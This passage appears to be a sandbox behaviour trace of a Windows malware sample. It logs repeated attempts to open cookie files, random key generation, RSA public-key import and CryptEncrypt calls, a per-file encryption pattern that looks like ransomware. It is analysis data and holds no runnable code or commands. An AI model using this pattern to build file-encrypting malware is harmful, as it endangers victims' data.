Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\GXB342YS.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\gxb342ys.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.269] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.271] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.271] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.271] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.271] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.271] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.272] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.273] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.273] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.273] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.273] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.275] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360ac00) returned 1 [0175.275] CryptGetKeyParam (in: hKey=0x360ac00, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.275] CryptEncrypt (in: hKey=0x360ac00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4700000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4700000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.275] GetLastError () returned 0x0 [0175.275] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.275] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.277] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360aa40) returned 1 [0175.277] CryptGetKeyParam (in: hKey=0x360aa40, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.277] CryptEncrypt (in: hKey=0x360aa40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4710000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4710000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.277] GetLastError () returned 0x0 [0175.277] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.277] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\H5LCJX1B.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\h5lcjx1b.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.277] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.278] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.279] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.279] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.279] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.279] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4540) returned 1 [0175.280] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.280] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.280] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.280] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0175.280] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.282] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360ab00) returned 1 [0175.282] CryptGetKeyParam (in: hKey=0x360ab00, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.282] CryptEncrypt (in: hKey=0x360ab00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4720000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4720000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.282] GetLastError () returned 0x0 [0175.282] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.282] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.284] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360aa80) returned 1 [0175.284] CryptGetKeyParam (in: hKey=0x360aa80, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.284] CryptEncrypt (in: hKey=0x360aa80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4730000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4730000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.285] GetLastError () returned 0x0 [0175.285] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.285] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\HBPP9XXY.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\hbpp9xxy.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.285] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.286] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.286] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.286] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.286] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.286] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.287] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.288] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.288] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.288] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.288] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0175.290] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360a8c0) returned 1 [0175.290] CryptGetKeyParam (in: hKey=0x360a8c0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.290] CryptEncrypt (in: hKey=0x360a8c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4740000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4740000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.290] GetLastError () returned 0x0 [0175.290] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0175.290] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0175.292] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360a680) returned 1 [0175.292] CryptGetKeyParam (in: hKey=0x360a680, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.292] CryptEncrypt (in: hKey=0x360a680, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4750000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4750000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.292] GetLastError () returned 0x0 [0175.292] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.292] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\HF8F6LU0.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\hf8f6lu0.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.292] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.293] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.294] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.294] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.294] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.294] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0175.295] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.295] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.296] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.296] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.296] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0175.298] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360acc0) returned 1 [0175.298] CryptGetKeyParam (in: hKey=0x360acc0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.298] CryptEncrypt (in: hKey=0x360acc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4760000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4760000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.298] GetLastError () returned 0x0 [0175.298] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0175.298] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.300] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360ac40) returned 1 [0175.300] CryptGetKeyParam (in: hKey=0x360ac40, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.300] CryptEncrypt (in: hKey=0x360ac40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4770000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4770000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.300] GetLastError () returned 0x0 [0175.300] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.300] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\HTVL5WIW.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\htvl5wiw.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.300] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.301] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.302] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.302] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.302] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.302] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0175.303] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.303] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.303] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.303] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0175.303] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.306] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360aa00) returned 1 [0175.306] CryptGetKeyParam (in: hKey=0x360aa00, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.306] CryptEncrypt (in: hKey=0x360aa00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4780000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4780000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.307] GetLastError () returned 0x0 [0175.307] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.307] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0175.309] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360aac0) returned 1 [0175.309] CryptGetKeyParam (in: hKey=0x360aac0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.309] CryptEncrypt (in: hKey=0x360aac0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4790000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4790000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.309] GetLastError () returned 0x0 [0175.309] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.309] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\ILF13HLB.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\ilf13hlb.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.309] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0175.310] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.311] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.311] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.311] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.311] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.312] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.313] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.313] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.313] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.313] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.315] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360a5c0) returned 1 [0175.315] CryptGetKeyParam (in: hKey=0x360a5c0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.315] CryptEncrypt (in: hKey=0x360a5c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x47a0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x47a0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.315] GetLastError () returned 0x0 [0175.315] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.315] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.317] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360a580) returned 1 [0175.317] CryptGetKeyParam (in: hKey=0x360a580, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.317] CryptEncrypt (in: hKey=0x360a580, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x47b0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x47b0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.317] GetLastError () returned 0x0 [0175.317] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.317] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\ISTFXHHR.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\istfxhhr.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.317] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.318] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.319] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.319] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.319] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.319] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.320] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.320] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.320] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.320] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.321] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.323] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360a940) returned 1 [0175.323] CryptGetKeyParam (in: hKey=0x360a940, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.323] CryptEncrypt (in: hKey=0x360a940, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x47c0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x47c0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.323] GetLastError () returned 0x0 [0175.323] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.323] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4540) returned 1 [0175.325] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360ab40) returned 1 [0175.325] CryptGetKeyParam (in: hKey=0x360ab40, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.325] CryptEncrypt (in: hKey=0x360ab40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x47d0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x47d0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.325] GetLastError () returned 0x0 [0175.325] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0175.325] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\ITD4OUAR.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\itd4ouar.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.326] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.327] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.327] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.327] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 